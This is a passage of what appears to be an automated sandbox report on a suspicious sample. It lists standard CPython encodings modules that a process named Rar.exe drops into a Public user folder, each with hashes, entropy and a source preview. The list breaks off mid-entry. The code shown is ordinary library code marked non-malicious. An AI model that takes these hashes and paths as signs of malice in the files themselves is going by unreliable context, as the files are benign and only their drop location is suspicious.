Preview:	"""Codec for quoted-printable encoding.....This codec de/encodes from bytes to bytes..."""....import codecs..import quopri..from io import BytesIO....def quopri_encode(input, errors='strict'):.. assert errors == 'strict'.. f = BytesIO(input).. g = BytesIO().. quopri.encode(f, g, quotetabs=True).. return (g.getvalue(), len(input))....def quopri_decode(input, errors='strict'):.. assert errors == 'strict'.. f = BytesIO(input).. g = BytesIO().. quopri.decode(f, g).. return (g.getvalue(), len(input))....class Codec(codecs.Codec):.. def encode(self, input, errors='strict'):.. return quopri_encode(input, errors).. def decode(self, input, errors='strict'):.. return quopri_decode(input, errors)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return quopri_encode(input, self.errors)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\raw_unicode_escape.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1378
Entropy (8bit):	4.688171660474759
Encrypted:	false
SSDEEP:	24:JKmSEHV0yWfBx1yWfB8MufQfBxCb+nh5fBiiUQWSJzWSmi1GfBX9ZKj9UnQJxlTt:JVST31u0WMp6SJ6SL1CBTKanQJxHf
MD5:	7B4C09E92D59EF6722DFCB9C79B792A7
SHA1:	F413714763D5BC134CE873FEB69A4D79735C381B
SHA-256:	2CC24FFC2D06CAB80423ADA94E3DFFC02C010346E17EFC2FFFE86825A6E07808
SHA-512:	9584CF7FDC438C9E1D00CA3387A3F8AF103B3DDB41A65768131ACC5F3E7D40AF180D1991EF613451B2736E20D963BD2EC08F48106C15146134C8A42BB6A64D3A
Malicious:	false
Reputation:	low
Preview:	""" Python 'raw-unicode-escape' Codec......Written by Marc-Andre Lemburg (mal@lemburg.com).....(c) Copyright CNRI, All Rights Reserved. NO WARRANTY....."""..import codecs....### Codec APIs....class Codec(codecs.Codec):.... # Note: Binding these as C functions will result in the class not.. # converting them to methods. This is intended... encode = codecs.raw_unicode_escape_encode.. decode = codecs.raw_unicode_escape_decode....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.raw_unicode_escape_encode(input, self.errors)[0]....class IncrementalDecoder(codecs.BufferedIncrementalDecoder):.. def _buffer_decode(self, input, errors, final):.. return codecs.raw_unicode_escape_decode(input, errors, final)....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. def decode(self, input, errors='strict'):.. return codecs.raw_unicode_escape_dec

C:\Users\Public\QExvbmVOb25l\Lib\encodings\rot_13.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2561
Entropy (8bit):	4.800734764439435
Encrypted:	false
SSDEEP:	48:7Hk1rNJm1rNJbuvNJTNJi6SJ6S0TK/JxHjRohn3xrUAosYDYKQyaDl:7EvJmvJbu1JRJivCTK/rSh1U8eSyol
MD5:	15F4EDEE2C94C2FB2F07435332C7A25A
SHA1:	D110DE2410DE8170389F26082E79C33EA643C991
SHA-256:	DC6052650356095A92A8CB3A6C63300B7F51A63B6CD3B6F636350B5F22CDA32A
SHA-512:	B9A21BB0C6AF53193088CAAF45FD94AAC472FD87927281198D88E70DE07F5D938CCAE2D081D737DEA9C6D11ACB53DCF1E2E855B464DA9871B99D522692492EBD
Malicious:	false
Reputation:	low
Preview:	#!/usr/bin/env python..""" Python Character Mapping Codec for ROT13.....This codec de/encodes from str to str.....Written by Marc-Andre Lemburg (mal@lemburg.com)..."""....import codecs....### Codec APIs....class Codec(codecs.Codec):.. def encode(self, input, errors='strict'):.. return (str.translate(input, rot13_map), len(input)).... def decode(self, input, errors='strict'):.. return (str.translate(input, rot13_map), len(input))....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return str.translate(input, rot13_map)....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return str.translate(input, rot13_map)....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='rot-13',.. encode=Codec().encod

C:\Users\Public\QExvbmVOb25l\Lib\encodings\shift_jis.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1078
Entropy (8bit):	4.563549974626686
Encrypted:	false
SSDEEP:	24:n5SqSOzff/XokKyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9RcJxFplR:5Sqfwm62VJjRU8njOxLnrxLbrLKUJxTz
MD5:	9C02A2E9711192F5738426F6E7285B5C
SHA1:	6AF9532F9C07B806DBA9D248A17E14B3EE637B1C
SHA-256:	195C87BF032904002D5ADB51C256AE14D99F4A69FFC15C989CA34DD51FC203D7
SHA-512:	3607DA04E5A83C27B8F6F3223872BF7957B58EA8326E19ECEB6A5836DD4E35B1A27CF43BBB4250E0CF0B931BB4BBEF6290FB6D30BEF407CC8C137277DBEB85D2
Malicious:	false
Reputation:	low
Preview:	#..# shift_jis.py: Python Unicode Codec for SHIFT_JIS..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_jp, codecs..import _multibytecodec as mbc....codec = _codecs_jp.getcodec('shift_jis')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='shift_jis',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\shift_jis_2004.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1098
Entropy (8bit):	4.636186915032078
Encrypted:	false
SSDEEP:	24:njqMsOzff/XoRKyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9ocJxFplR:jqkwF62VJjRU8njOxLnrxLbrLKHJxTz
MD5:	0440951B33F486E65DB5176D5CF99851
SHA1:	D6269777856EC9BB88F7A0413A55EBCCE3BFBE17
SHA-256:	B806ADF317A9920E69A1DEB14C7F078F0D5A9BD26BD370C89492F4DD296AA52A
SHA-512:	A92FF2A9EB64C6E42E4CB808823E1B88CD760EC83EAB27BDAAB974152FB2B8DDC2288F800BE85A622F79304DADFD7E96DDEF86FED3434B73CC53967F873BBCEA
Malicious:	false
Reputation:	low
Preview:	#..# shift_jis_2004.py: Python Unicode Codec for SHIFT_JIS_2004..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_jp, codecs..import _multibytecodec as mbc....codec = _codecs_jp.getcodec('shift_jis_2004')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='shift_jis_2004',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=In

C:\Users\Public\QExvbmVOb25l\Lib\encodings\shift_jisx0213.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1098
Entropy (8bit):	4.656971526890629
Encrypted:	false
SSDEEP:	24:nAqqOzff/Xo2KyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj9PcJxFplR:AqHw462VJjRU8njOxLnrxLbrLKCJxTz
MD5:	CBAB0DA456CE49672F8A5CDB79018312
SHA1:	A682827169185DA5BBA2B498BF0302B2EAE087A7
SHA-256:	16BE3CDC9EFA7C3A6EC5A683BC03BCAA9DBB41FCC70C92900130175A761A9D62
SHA-512:	EFE6CF1021E7FEEF474A3C0E0B346515410716DA6536488765803F2DBD1DA2A217F23F64484634C8EDDC149086F1AD82D563EB9A7C6319976FB852747CCCCF9D
Malicious:	false
Reputation:	low
Preview:	#..# shift_jisx0213.py: Python Unicode Codec for SHIFT_JISX0213..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_jp, codecs..import _multibytecodec as mbc....codec = _codecs_jp.getcodec('shift_jisx0213')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='shift_jisx0213',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=In

C:\Users\Public\QExvbmVOb25l\Lib\encodings\tis_620.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	12607
Entropy (8bit):	4.621772981576072
Encrypted:	false
SSDEEP:	192:WHhsuOTDvR2LUrXPLouhIAs2+ijLf00pC8i5I:zTojuhIAl0H8iG
MD5:	D9690A0F4A8779777A17C8E04C5EA6FF
SHA1:	F10E74D2FDC0BE0582B97094F50BF4A38320C6FA
SHA-256:	18AFE3A0FD28797D71762EAFFADC9822E0CB8832BE696AF2298F6727AB92627F
SHA-512:	48AEBA9D13106BECC3305F42FB4C0A9B9D3A5663C807C7B42FAC579229D9FD43E2F15BBE3AA9DB6C19216334F296D584308BB12D93C4D998D0AF607ABB621BAA
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec tis_620 generated from 'python-mappings/TIS-620.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='tis-620',.. encode=Cod

C:\Users\Public\QExvbmVOb25l\Lib\encodings\undefined.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1348
Entropy (8bit):	4.667992147176458
Encrypted:	false
SSDEEP:	24:JldJcg5qSEH6e1cUe2e1cUeFMufKUeFhKUemUQWSJzWS09ZKj9EmIcJxlTpf:JldJ9ISo1ner1neKuhe5em6SJ6S0TK2M
MD5:	7C6EF4AB65DA0214127F4E70CB74D180
SHA1:	01D2D4FAE5C7C55DDD33CE3D5DB95BC56EA68E03
SHA-256:	E882AD26197F05AFB20980407787F77D18E234F562E6EC396B7D9DF3C7EEF5FC
SHA-512:	2DEC757B249BEC760DA00B5269D51C2F7ADEF574FD68A188B64304EB1B7974C84E0B4AB89A138764203D89231DFE76AA4784C466B384655B26D510FA58522E7E
Malicious:	false
Reputation:	low
Preview:	""" Python 'undefined' Codec.... This codec will always raise a ValueError exception when being.. used. It is intended for use by the site.py file to switch off.. automatic string to Unicode coercion.....Written by Marc-Andre Lemburg (mal@lemburg.com).....(c) Copyright CNRI, All Rights Reserved. NO WARRANTY....."""..import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. raise UnicodeError("undefined encoding").... def decode(self,input,errors='strict'):.. raise UnicodeError("undefined encoding")....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. raise UnicodeError("undefined encoding")....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. raise UnicodeError("undefined encoding")....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass

C:\Users\Public\QExvbmVOb25l\Lib\encodings\unicode_escape.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1350
Entropy (8bit):	4.660145850496412
Encrypted:	false
SSDEEP:	24:JDmSEHV0yWcBx1yWcB8MufQcBxCb+nh5cBiiUQWSJzWSmi1GcBX9ZKj9jQJxlTpf:JaSAE1uzWbp6SJ6SL1tBTKpQJxHf
MD5:	C939A021963EDD01807CDF57B08163D7
SHA1:	5549D399865582B0A802D950E8B3B7FA4474D726
SHA-256:	1D1372CF4F46E2F99820070B78563BD3EEED60FFC43A932B483CC7918F3DA5E9
SHA-512:	8BF2450C2A44B4ED7B9E901C425AD7BA114E9B946E69FF0DB36644DBD82BF85266EB487C373179F50DB983CE0A51A03E52F43539F92DBC9BF69D39F5DBAE7753
Malicious:	false
Reputation:	low
Preview:	""" Python 'unicode-escape' Codec......Written by Marc-Andre Lemburg (mal@lemburg.com).....(c) Copyright CNRI, All Rights Reserved. NO WARRANTY....."""..import codecs....### Codec APIs....class Codec(codecs.Codec):.... # Note: Binding these as C functions will result in the class not.. # converting them to methods. This is intended... encode = codecs.unicode_escape_encode.. decode = codecs.unicode_escape_decode....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.unicode_escape_encode(input, self.errors)[0]....class IncrementalDecoder(codecs.BufferedIncrementalDecoder):.. def _buffer_decode(self, input, errors, final):.. return codecs.unicode_escape_decode(input, errors, final)....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. def decode(self, input, errors='strict'):.. return codecs.unicode_escape_decode(input, errors, False

C:\Users\Public\QExvbmVOb25l\Lib\encodings\utf_16.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5391
Entropy (8bit):	4.3113332789517
Encrypted:	false
SSDEEP:	96:JgcgiEqCubuY5lRlE2GRCGEFdIXv5lLoQyLt6ofvBUpzdft0iL7+9WiV9lkip8IB:aruCouolRaRCRIhlL7yLt7vYfLL72blt
MD5:	2867E58C229EB66CE2FC8704F1E380D2
SHA1:	57CB01EF3A3CD16BCCB814C86A3B6DABC379B7C4
SHA-256:	FD85A9D634B6F3868D6777E2B0367643571B3E61111B87C79F65DF3F57C7ACB3
SHA-512:	7E08E1F9FFCF68123DA6B5B531ED0040AE652FC00DCCEAFCD2B4AF121CA627ECF7A4F9DC6AEB44EF8C040414F27BB3AC0B31FAB030A7BB6D5C2491CA5161CC12
Malicious:	false
Reputation:	low
Preview:	""" Python 'utf-16' Codec......Written by Marc-Andre Lemburg (mal@lemburg.com).....(c) Copyright CNRI, All Rights Reserved. NO WARRANTY....."""..import codecs, sys....### Codec APIs....encode = codecs.utf_16_encode....def decode(input, errors='strict'):.. return codecs.utf_16_decode(input, errors, True)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def __init__(self, errors='strict'):.. codecs.IncrementalEncoder.__init__(self, errors).. self.encoder = None.... def encode(self, input, final=False):.. if self.encoder is None:.. result = codecs.utf_16_encode(input, self.errors)[0].. if sys.byteorder == 'little':.. self.encoder = codecs.utf_16_le_encode.. else:.. self.encoder = codecs.utf_16_be_encode.. return result.. return self.encoder(input, self.errors)[0].... def reset(self):.. codecs.IncrementalEncoder.reset(self).. self.encoder = None.... de

C:\Users\Public\QExvbmVOb25l\Lib\encodings\utf_16_be.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	4.776020747108792
Encrypted:	false
SSDEEP:	24:JMSEVyWuq1IjaatMufQBb+OyW80kzyWEzryW79ZKj9kJxFplR:JMS1q1I2aCuqEzSzhTKOJxTz
MD5:	71C7BEDB2761CE2BCD7D4AB422CF4F40
SHA1:	9BE6A38B88716031ED83825611C3B010284C3677
SHA-256:	16329B46D794F4D13B38A7A2540002E72E176D85237872CA3A24BF3C90D7665C
SHA-512:	D72E83FB2FD71EED49EC72F9B99B87A0341B2923091C6D92B5DEAB7C380418F8BFB868EE064A76FD321EBD2C2D8560A2559D76401730F199870374B4B555E35B
Malicious:	false
Reputation:	low
Preview:	""" Python 'utf-16-be' Codec......Written by Marc-Andre Lemburg (mal@lemburg.com).....(c) Copyright CNRI, All Rights Reserved. NO WARRANTY....."""..import codecs....### Codec APIs....encode = codecs.utf_16_be_encode....def decode(input, errors='strict'):.. return codecs.utf_16_be_decode(input, errors, True)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.utf_16_be_encode(input, self.errors)[0]....class IncrementalDecoder(codecs.BufferedIncrementalDecoder):.. _buffer_decode = codecs.utf_16_be_decode....class StreamWriter(codecs.StreamWriter):.. encode = codecs.utf_16_be_encode....class StreamReader(codecs.StreamReader):.. decode = codecs.utf_16_be_decode....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='utf-16-be',.. encode=encode,.. decode=decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\utf_16_le.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	4.763394951954305
Encrypted:	false
SSDEEP:	24:J+SEVyWMq1IjP8atMufQfb+OyWPy0kzyWuzryWP19ZKj9qJxFplR:J+SHq1I4aCuYizgzXTKQJxTz
MD5:	E34C5A24FE48A17FCBFC4335389F6C4E
SHA1:	4FD9811F688CE9ADDF6B1315600707C46BA02D56
SHA-256:	6D3B04F3ABD9FB6151FEE5CA0426C2E7ED2677EF1358C269747FF8946FFC02B9
SHA-512:	2FE8D6111B3A81F509BB67AB452CEDF9721501222F16E3CCDC4E412BF7BB2383317269ED4059E2C1E82434EF6830794A6EB8AA7DDA2E6230290A8027E601BB10
Malicious:	false
Reputation:	low
Preview:	""" Python 'utf-16-le' Codec......Written by Marc-Andre Lemburg (mal@lemburg.com).....(c) Copyright CNRI, All Rights Reserved. NO WARRANTY....."""..import codecs....### Codec APIs....encode = codecs.utf_16_le_encode....def decode(input, errors='strict'):.. return codecs.utf_16_le_decode(input, errors, True)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.utf_16_le_encode(input, self.errors)[0]....class IncrementalDecoder(codecs.BufferedIncrementalDecoder):.. _buffer_decode = codecs.utf_16_le_decode....class StreamWriter(codecs.StreamWriter):.. encode = codecs.utf_16_le_encode....class StreamReader(codecs.StreamReader):.. decode = codecs.utf_16_le_decode....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='utf-16-le',.. encode=encode,.. decode=decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\utf_32.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5279
Entropy (8bit):	4.273683297819166
Encrypted:	false
SSDEEP:	96:g+tqC0buY5lRlzeRCGEFdIPv5lLoQwLt6ofvBUpzdf/0iL7+zykV9bkMpZ/ut1fA:DkCSuolRMRCRMhlL7wLt7vYfVL7qbbpd
MD5:	616CF58B40671374C8A7BB69A3EBC565
SHA1:	2F71BE2439277B332CC255B7E0B0F11AFF9AB090
SHA-256:	97F6038F368954DD48BE9B5FA41B1395A71FCA0271B0FEA69F8E16F9F6633775
SHA-512:	43D921D34974BA356A0AE3B650516B7E1108DBFB10618BAC22A0485A5AD1B55D73B1090F77C69C67ACD0C3BE231E4DBD02A32040BCF88FA646610C91F819F341
Malicious:	false
Reputation:	low
Preview:	"""..Python 'utf-32' Codec.."""..import codecs, sys....### Codec APIs....encode = codecs.utf_32_encode....def decode(input, errors='strict'):.. return codecs.utf_32_decode(input, errors, True)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def __init__(self, errors='strict'):.. codecs.IncrementalEncoder.__init__(self, errors).. self.encoder = None.... def encode(self, input, final=False):.. if self.encoder is None:.. result = codecs.utf_32_encode(input, self.errors)[0].. if sys.byteorder == 'little':.. self.encoder = codecs.utf_32_le_encode.. else:.. self.encoder = codecs.utf_32_be_encode.. return result.. return self.encoder(input, self.errors)[0].... def reset(self):.. codecs.IncrementalEncoder.reset(self).. self.encoder = None.... def getstate(self):.. # state info we return to the caller:.. # 0: stream is in natural order for th

C:\Users\Public\QExvbmVOb25l\Lib\encodings\utf_32_be.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	967
Entropy (8bit):	4.64840879615024
Encrypted:	false
SSDEEP:	24:g6VyWEq1IjsatMufQ3b+OyWi0kzyWWzryWF9ZKj9KJxFplR:gRq1IQaCusKzwzXTKYJxTz
MD5:	85519A8598572F85931621ACCB60DB87
SHA1:	2B7912D3F1D4042A0778C22C068A18A9AD00B990
SHA-256:	A3698A68287CC78323117D14BE3B0B40F46289A850EB06AA9A5328D44B2A30EF
SHA-512:	AAF1FB52FCB6BCE9D3E026BD4866149D48F5E2434A735DED9165C65A5FD4D0186CC44715A797A890F4E01C9E4CB44453BCA8D4BA6993B93811739CA80E86F5FA
Malicious:	false
Reputation:	low
Preview:	"""..Python 'utf-32-be' Codec.."""..import codecs....### Codec APIs....encode = codecs.utf_32_be_encode....def decode(input, errors='strict'):.. return codecs.utf_32_be_decode(input, errors, True)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.utf_32_be_encode(input, self.errors)[0]....class IncrementalDecoder(codecs.BufferedIncrementalDecoder):.. _buffer_decode = codecs.utf_32_be_decode....class StreamWriter(codecs.StreamWriter):.. encode = codecs.utf_32_be_encode....class StreamReader(codecs.StreamReader):.. decode = codecs.utf_32_be_decode....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='utf-32-be',.. encode=encode,.. decode=decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. streamreader=StreamReader,.. streamwriter=StreamWriter,.. )..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\utf_32_le.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	967
Entropy (8bit):	4.629711576470682
Encrypted:	false
SSDEEP:	24:gEVyWWq1IjyatMufQpb+OyWE0kzyWczryWj9ZKj95WJxFplR:g5q1IeaCuG8zizhTKGJxTz
MD5:	6647D201D3BAD385BD7897DF02EC45ED
SHA1:	AADB093709162E4B5F9ABA0590235AFE3D96246B
SHA-256:	945AF03D1DA591640DE7176BEF879658594B399AC7BBE564D790893CA7B38A73
SHA-512:	CF7F010E0E199BD017636894D7B1B060E21D2ADF13D81BAE710046889D48604A01D05F10F1B1ACA8033F19E8254857A93334CBBF471E55FD58BD4888B190CE62
Malicious:	false
Reputation:	low
Preview:	"""..Python 'utf-32-le' Codec.."""..import codecs....### Codec APIs....encode = codecs.utf_32_le_encode....def decode(input, errors='strict'):.. return codecs.utf_32_le_decode(input, errors, True)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.utf_32_le_encode(input, self.errors)[0]....class IncrementalDecoder(codecs.BufferedIncrementalDecoder):.. _buffer_decode = codecs.utf_32_le_decode....class StreamWriter(codecs.StreamWriter):.. encode = codecs.utf_32_le_encode....class StreamReader(codecs.StreamReader):.. decode = codecs.utf_32_le_decode....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='utf-32-le',.. encode=encode,.. decode=decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. streamreader=StreamReader,.. streamwriter=StreamWriter,.. )..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\utf_7.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	984
Entropy (8bit):	4.635801396513396
Encrypted:	false
SSDEEP:	24:JWyVyW6q1IjWatMufQVb+OyWg0kzyW4zryWH9ZKj9+5JxFplR:JWjq1IiaCu24zmzNTK85JxTz
MD5:	ECFD453A49D4C576E4F189CF6B23376C
SHA1:	70B61C19024F20BBC476C11D3CE95AA484225D09
SHA-256:	1BE7FC4C85EDAAB33427D3F1230D56B8A4B0D75566F726D9DFC50FACEA36688B
SHA-512:	F6AB67F17F586459362581DD894D3CAF62D67E283C075DFCD15B2D03E0AC79FF53E31853900A9EFF5E8778ECEC7AEE7A945EA55368D663FF82F657E7950B4A51
Malicious:	false
Reputation:	low
Preview:	""" Python 'utf-7' Codec....Written by Brian Quinlan (brian@sweetapp.com)..."""..import codecs....### Codec APIs....encode = codecs.utf_7_encode....def decode(input, errors='strict'):.. return codecs.utf_7_decode(input, errors, True)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.utf_7_encode(input, self.errors)[0]....class IncrementalDecoder(codecs.BufferedIncrementalDecoder):.. _buffer_decode = codecs.utf_7_decode....class StreamWriter(codecs.StreamWriter):.. encode = codecs.utf_7_encode....class StreamReader(codecs.StreamReader):.. decode = codecs.utf_7_decode....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='utf-7',.. encode=encode,.. decode=decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. streamreader=StreamReader,.. streamwriter=StreamWriter,.. )..

C:\Users\Public\QExvbmVOb25l\Lib\encodings\utf_8.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1047
Entropy (8bit):	4.729776202710733
Encrypted:	false
SSDEEP:	24:JgqSEVyW7yEq1IjPatMufQ7y3b+OyWR0kzyW7yWzryWc9ZKj9/JxFplR:J1SKyEq1IjaCuwyr5z1yWzeTKZJxTz
MD5:	F932D95AFCAEA5FDC12E72D25565F948
SHA1:	2685D94BA1536B7870B7172C06FE72CF749B4D29
SHA-256:	9C54C7DB8CE0722CA4DDB5F45D4E170357E37991AFB3FCDC091721BF6C09257E
SHA-512:	A10035AE10B963D2183D31C72FF681A21ED9E255DDA22624CBAF8DBED5AFBDE7BE05BB719B07573DE9275D8B4793D2F4AEF0C0C8346203EEA606BB818A02CAB6
Malicious:	false
Reputation:	low
Preview:	""" Python 'utf-8' Codec......Written by Marc-Andre Lemburg (mal@lemburg.com).....(c) Copyright CNRI, All Rights Reserved. NO WARRANTY....."""..import codecs....### Codec APIs....encode = codecs.utf_8_encode....def decode(input, errors='strict'):.. return codecs.utf_8_decode(input, errors, True)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.utf_8_encode(input, self.errors)[0]....class IncrementalDecoder(codecs.BufferedIncrementalDecoder):.. _buffer_decode = codecs.utf_8_decode....class StreamWriter(codecs.StreamWriter):.. encode = codecs.utf_8_encode....class StreamReader(codecs.StreamReader):.. decode = codecs.utf_8_decode....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='utf-8',.. encode=encode,.. decode=decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. streamreader=StreamReade

C:\Users\Public\QExvbmVOb25l\Lib\encodings\utf_8_sig.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	4263
Entropy (8bit):	4.440495855479389
Encrypted:	false
SSDEEP:	96:JGJ9aCCIFyqPICuY5lRlDrwzRC35v5lLo3YCaLt3AvBNiLD1Lg9Ft1QYxTKB3:8J9vCIFTwCuolR9rwzRCJhlLIaLtQv+d
